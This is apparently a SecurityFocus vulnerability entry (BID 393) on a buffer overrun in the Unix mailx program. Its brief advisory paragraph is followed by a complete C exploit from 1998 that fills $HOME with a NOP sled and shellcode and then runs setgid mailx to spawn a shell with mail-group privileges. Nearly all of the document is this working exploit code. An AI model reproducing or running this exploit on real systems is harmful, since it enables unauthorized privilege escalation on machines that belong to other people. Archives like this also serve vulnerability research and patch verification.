source: http://www.securityfocus.com/bid/393/info

A buffer overrun exists in the /bin/mailx program. This program was originally developed as part of BSD, and is available on many Unix systems. By supplying a long, well crafted buffer as the username argument, an attacker can use it to execuate arbitrary code. On some systems, this will result in the ability to execute code as group mail. 

/*
 * mailxploit.c (Linux/i386)
 * Sat Jun 20 00:47:59 CEST 1998
 * Alvaro Martinez Echevarria <elguru@lander.es>
 * Exploit a buffer overrun in mailx using the environment variable
 * $HOME, to acquire "mail" group privileges (assuming that mailx
 * is installed setgid mail).
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

/*
 * The location of mailx.
 */
#define MAILX  "/usr/bin/mail"
/*
 * The gid for group mail (represented in a char, in hexadecimal).
 */
#define GID    "\x08"

#define DEFAULT_OFFSET                 2000
#define DEFAULT_BUFFER_SIZE            1124
#define NOP                            0x90

char shellcode[] =
  /* seteuid(GID); setreuid(GID,GID); */
  "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1" GID "\x31\xc0\xb0\x47\xcd\x80"
  "\x31\xdb\x31\xc9\xb3" GID "\xb1" GID "\x31\xc0\xb0\x47\xcd\x80"
  /* generic shell code by Aleph One */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long
get_sp(void) {
   __asm__("movl %esp,%eax");
}

int
main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  addr = get_sp() - offset;
  if ((buff=(char *)malloc(bsize))==NULL) {
    fprintf(stderr,"error in malloc()\n");
    exit(1);
  }

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;
  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;
  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];
  buff[bsize - 1] = '\0';

  setenv("HOME",buff,1);
  execl(MAILX,MAILX,"-n","-f","~/patata",NULL);

  exit(0);

}

